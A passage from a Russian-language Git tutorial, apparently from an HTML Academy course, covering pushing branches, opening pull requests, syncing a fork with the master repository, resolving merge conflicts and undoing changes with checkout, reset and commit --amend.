[module1-task1 b10822c] Начинает работу над проектом
 2 files changed, 13 insertions(+), 13 deletions(-)
 rewrite index.html (63%)
[345843-device-30]                                                     module1-task1
```

Git пишет, что ему нечего коммитить, потому что текущее состояние уже сохранено. Всё в порядке.

Как часто стоит делать коммиты? Всегда, когда состояние обрело законченный вид. Например, вы добавили новый блок или исправили ошибку, или просто сделали изменения, которые боитесь потерять. Помните: коммит — это просто сохранение.

Итак, сохранения зафиксированы. Значит, они появились в репозитории на GitHub? Пока нет. Дело в том, что в Git коммиты создаются локально, то есть у вас на компьютере. Ветки тоже создаются и сливаются локально. Всё происходит локально. Именно поэтому Git работает очень быстро — не нужно на каждое действие что-то скачивать из интернета или, наоборот, закачивать.

Для отправки локальных изменений (коммитов) в удалённый репозиторий есть команда `push` — толкать. Давайте отправим в репозиторий новый коммит. Введём команду `git push origin module1-task1`, где:

- `origin` — имя удалённого репозитория, который был склонирован на компьютер (ваш форк). Git автоматически называет репозиторий, который вы клонировали, псевдонимом `origin` и помещает в него ссылку, чтобы вам не приходилось каждый раз прописывать путь репозитория;
- `module1-task1` — имя ветки в удалённом репозитории, куда отправить текущую локальную ветку. Если мы не напишем название ветки, то Git по умолчанию отправит все изменения в ветку `master`.

```
[345843-device-30] git push origin module1-task1                       module1-task1
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 8 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 427 bytes | 427.00 KiB/s, done.
Total 4 (delta 3), reused 0 (delta 0)
remote: Resolving deltas: 100% (3/3), completed with 3 local objects.
remote:
remote: Create a pull request for 'module1-task1' on GitHub by visiting:
remote:      https://github.com/tenthreee/345843-device-30/pull/new/module1-task1
remote:
To github.com:tenthreee/345843-device-30.git
 * [new branch]      module1-task1 -> module1-task1
[345843-device-30]                                                     module1-task1
```

Отправляем изменения

В этот момент в репозитории на GitHub появится специальная плашка о том, что мы только что отправили изменения и предложение открыть пулреквест.

Предложение отправить пулреквест

Чтобы создать пулреквест, нужно нажать зелёную кнопку «Compare & pull request». После этого откроется интерфейс создания пулреквеста, в котором нужно описать, что и зачем мы сделали. Под описанием пулреквеста есть diff — это разница между кодом в мастер-репозитории и кодом, который мы предлагаем.

Интерфейс создания пулреквеста

Жмём «Create pull request». Готово, пулреквест открыт.

Если в код потребуется внести изменения, вам нужно снова пройти по цепочке локальные изменения — сохранение — коммит — пуш, только пулреквест заново делать не нужно. Если вы продолжаете вести работу в той же ветке и пулреквест ещё не принят, все ваши изменения автоматически добавятся в пулреквест, созданный из этой ветки, после команды `git push origin название-текущей-ветки`.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 3 минуты

Глава 10.3.6. Синхронизация репозиториев

Вы исправили код, наставник или техлид одобрил ваши правки и принял пулреквест. Теперь код в мастер-репозитории обновился, а в вашем форке нет, вы ведь не обновляли свою версию репозитория с тех пор, как клонировали её себе на компьютер.

Форк на GitHub не синхронизируется с оригиналом автоматически, чтобы не возникало конфликтов и каждый разработчик мог сам решать, что делать со своим форком. Чтобы продолжить работу над проектом, нам нужно привести форк в актуальное состояние — получить попавшие в мастер-репозиторий изменения.

Для начала добавим ссылку на мастер-репозиторий, чтобы нам было удобно к нему обращаться, а Git понимал, откуда именно мы хотим забрать изменения.

1. В локальном репозитории вводим команду `git checkout master`, переходим в ветку `master`.
2. Заходим в мастер-репозиторий, копируем его SSH-адрес и вводим в терминале команду:

   ```
   git remote add alias git@github.com:your-repo.git
   ```

   В этой команде вам нужно подставить свои данные:

   — `alias` — короткое имя (алиас) для репозитория. На курсах для обращения к мастер-репозиторию мы используем алиас `academy`, но вы можете выбрать любой другой: вместо `academy` указывайте своё название, и оно закрепится за этим репозиторием.

   — `git@github.com:your-repo.git` — путь к репозиторию (тот самый SSH-адрес, который вы копируете на странице репозитория).

   ```
   345843-device-30 — tenthreee@MacBook-Air-Lena — ..843-device-30 — -zsh — 90×20
   [345843-device-30] git checkout master                                  module1-task1
   Switched to branch 'master'
   Your branch is up to date with 'origin/master'.
   [345843-device-30] git remote add academy git@github.com:htmlacademy-htmlcss/345843-device
   -30.git
   [345843-device-30]                                                      master
   ```

   Добавляем ссылку на мастер-репозиторий

3. Теперь забираем (подтягиваем) изменения из ветки `master` мастер-репозитория командой `git pull academy master`. После этого в ветке `master` локального форка появятся те же коммиты, что и в мастер-репозитории. Осталось отправить их в удалённый форк.

   ```
   345843-device-30 — tenthreee@MacBook-Air-Lena — ..843-device-30 — -zsh — 90×20
   [345843-device-30] git pull academy master                              master
   remote: Enumerating objects: 1, done.
   remote: Counting objects: 100% (1/1), done.
   remote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0
   Unpacking objects: 100% (1/1), done.
   From github.com:htmlacademy-htmlcss/345843-device-30
    * branch            master     -> FETCH_HEAD
    * [new branch]      master     -> academy/master
   Updating 568776b..3e93b46
   Fast-forward
    Readme.md  | 2 +-
    index.html | 2 +-
    2 files changed, 2 insertions(+), 2 deletions(-)
   [345843-device-30]                                                      master
   ```

   Забираем изменения из мастер-репозитория

4. Отправляем изменения из своей ветки `master` в форк на GitHub с помощью команды `git push origin master`.

   ```
   345843-device-30 — tenthreee@MacBook-Air-Lena — ..843-device-30 — -zsh — 90×20
   [345843-device-30] git push origin master                               master
   Total 0 (delta 0), reused 0 (delta 0)
   To github.com:tenthreee/345843-device-30.git
      568776b..3e93b46  master -> master
   [345843-device-30]                                                      master
   ```

   Отправляем изменения в форк

Готово. Теперь форк и оригинальный репозиторий находятся в актуальном состоянии, и мы можем продолжить работу над проектом: создать новую ветку, внести ещё несколько изменений, запушить их и открыть пулреквест.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 5 минут

Глава 10.3.7. Конфликты

При слиянии веток может возникнуть конфликт. Это когда один и тот же файл в одном и том же месте, но в разных ветках, менялся по-разному. Например, в ветке `master` вы изменили десятую строчку в файле, а в соседней ветке удалили эту строчку. Тогда при слиянии этой ветки и ветки `master` возникнет конфликт.

Git не может предсказать, какие изменения правильные. Он не сделает автоматическое слияние, как обычно, а предложит вам решить конфликт. Давайте посмотрим.

На странице пуллреквеста видим, что есть конфликт. Возможно, мы забыли синхронизовать репозитории перед созданием новой ветки или кто-то из команды запушил в `master` изменения, которые конфликтуют с нашими изменениями.

Мы можем решить конфликт у себя локально: для этого нам нужно в свою ветку подлить изменения из ветки `master` мастер-репозитория и разобраться с конфликтом прямо на своём компьютере. Давайте попробуем.

Находясь в рабочей ветке, выполним команду `git pull alice master` — влить в текущую ветку удалённую ветку `master` из мастер-репозитория. В нашем случае `alice` — это короткое имя мастер-репозитория, из которого мы хотим забрать изменения. У вас это имя может быть другим, например, `academy`.

Видим, что что-то пошло не так. Сначала Git попробовал слить изменения в `index.html`, но не смог — возник конфликт. Дальше Git говорит, что автоматический мёрж не удался, и предлагает исправить конфликты и закоммитить результат.

Как всегда, проверим `git status`. Git подсказывает, что нужно сделать: либо исправить конфликт и закоммитить, либо выполнить `git merge --abort`, чтобы отменить слияние (вдруг вы вызвали слияние по ошибке).

Поскольку мы действительно хотели выполнить слияние, будем исправлять конфликты.

У `index.html` статус `both modified` — это значит, что он изменён в обеих ветках. Давайте откроем его в редакторе кода.

Смотрите, скобочки какие-то, потом `HEAD`, потом код, куча «равно», снова скобочки и хэш коммита. Так выглядит типичный конфликт. Знаки равенства и скобки служат разделителями. Код от первых угловых скобок с `HEAD` и до знаков равенства находится в ветке, которую мы хотим влить, — `master` мастер-репозитория. А после знаков равенства и до следующих угловых скобок — код нашей локальной ветки.

Чтобы решить конфликт, надо просто выбрать какой-то из этих двух вариантов (или оставить оба) и не забыть удалить разделители.

Редактируем, сохраняем и выходим из редактора. Теперь просто закоммитим эти изменения, как обычно, и посмотрим, что получилось.

Видим, что мёрж удался, наш мёрж-коммит на месте. Осталось запушить новый коммит в GitHub и проверить, что в пуллреквесте всё в порядке и конфликта больше нет.

Бывает, что конфликтует не одна строка, а несколько, например, три или десять. Или что нужно оставить не одно изменение, а оба. Или взять от каждого изменения по чуть-чуть.

Ничего страшного, просто отредактируйте файл. Разделители коммита и оставленные кусочки кода из обеих веток — это просто подсказки для вас, чтобы вы смогли сохранить те изменения, которые вам нужны.

Бывает конфликт другого рода, например, в одной ветке файл был изменён, а в другой — удалён. Он решается точно так же. Давайте посмотрим.

Вводим `git status` и видим, что файл `deleted by us` — удалён нами. При подобных конфликтах Git называет текущую ветку «мы» (us), а ветку, которую вливаем, — «они» (they). Так можно понять, в какой именно ветке файл был удалён. В тексте файла конфликта нет. Конфликт вызывает то, что файл в одной ветке изменён (сейчас он уже содержит изменения из той ветки), а в другой ветке он удалён. Для решения конфликта файл нужно или оставить, или удалить.

Чтобы оставить файл, нужно сделать `git add имя-файла` — и тогда он будет закоммичен с теми изменениями, которые произошли в этой ветке. Можно его и отредактировать перед этим, если вы считаете нужным.

Чтобы удалить файл, нужно удалить его из индекса командой `git rm имя-файла`, и после этого закоммитить изменения, как обычно.

Конфликты — это не форс-мажор, это вполне обычная ситуация, особенно когда над проектом работают несколько человек. Решать конфликты просто, и не нужно их бояться: просто откройте файл и сохраните те изменения, которые вам нужны.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 5 минут

Глава 10.3.8. Операции отмены

В прошлых главах мы познакомились с основами контроля версий и разобрали базовый сценарий работы, когда вы просто фиксируете любое изменение. В этой главе мы рассмотрим более сложные сценарии.

Как откатить незакоммиченные изменения

Например, вы изменили файл, проверили какую-то идею и хотите вернуть файл в состояние, в котором он был в последнем коммите.

Узнаем текущее состояние командой `git status`. Видим, что файл `main.css` был изменён.

Git подсказывает, что отменить изменения (discard changes in working directory) можно командой `git checkout -- <file>`. Давайте введём эту команду и снова проверим статус.

Видим, что состояние чистое, файл не изменён.

Резюме

Командой `checkout` можно вернуть файл в состояние последнего коммита, но вернуть состояние до команды `checkout` уже не получится — всё, что вы не закоммитили, потеряется. Поэтому сбрасывайте только те изменения, которые вам не нужны.

Как откатить файл к состоянию в определённом коммите

Это можно сделать с помощью уже известной вам команды `git checkout`, только теперь нужно указать ей коммит, из которого мы хотим взять состояние файла.

Вводим команду `git log` и ищем нужный коммит. Копируем хэш коммита, пишем команду `git checkout`, вставляем хэш коммита и пишем название файла, который нужно откатить. Проверим статус.

Видим, что файл изменён и проиндексирован. Посмотрим, какие в нём изменения. Чтобы увидеть изменения в проиндексированном файле, вводим уже знакомую, но модифицированную команду `git diff`.

Резюме

Командой `checkout` можно вернуть файл в состояние не только последнего коммита, но и любого коммита, если вы знаете его хэш.

Как убрать файл из индекса

Мы подготовили изменения к коммиту, добавили их в индекс и вдруг заметили, что какой-то файл индексировать не нужно.

Например, мы внесли изменения в несколько файлов и эти изменения никак между собой не связаны. И мы, возможно, потом захотим как-то независимо с этими изменениями работать, поэтому мы хотим сохранить эти изменения отдельно друг от друга.

Можно отменить индексацию изменений при помощи команды `git reset HEAD` и имя файла, который мы не хотим включать в коммит. Git подсказывает нам эту команду, когда мы проверяем статус:

Давайте уберём один из файлов из индекса и снова проверим статус.

Видим, что изменения в файле `main.css` проиндексированы, а изменения в файле `index.html` не проиндексированы. Когда мы сделаем коммит, в него попадут изменения только `main.css`.

Как исправить сообщение коммита

Вы написали сообщение коммита (commit message) с ошибкой. Как её исправить? У команды `commit` есть параметр `amend`, который позволяет изменить последний коммит.

```
git commit --amend -m "Правильное сообщение коммита"
```

Обратите внимание, что при изменении сообщения коммита меняется и его хэш. То есть, происходит не просто переименование коммита, а создаётся новый коммит с теми же изменениями, но с новым текстом.

Как удалить лишний файл из коммита

Вы закоммитили лишний файл и поняли, что он не нужен. Можно удалить его из коммита при помощи команды `git rm` и имя файла.

Давайте удалим ненужный файл и проверим статус.

Видим, что файл стал помечен как удалённый.

Осталось изменить коммит:

```
git commit --amend --no-edit
```

Напоминаем, что при этом поменяется хэш коммита, потому что когда мы делаем `amend`, Git не изменяет старый коммит, а создаёт новый и заменяет старый на новый.

Обратите внимание, что при этом способе файл удаляется не только из коммита, но и из папки проекта. Что делать, если нужно исключить файл из коммита, но при этом не удалять его?

Это можно сделать при помощи той же команды и флага `--cached`:

```
git rm --cached путь-к-файлу
```

Посмотрим статус: файл одновременно и удалён (изменения, которые будут закоммичены), и `untracked`, то есть не отслеживается.

Осталось изменить прошлый коммит командой `git commit --amend --no-edit`.

Похожим образом мы можем и добавить файл в коммит, если поняли, что он должен быть в этом коммите.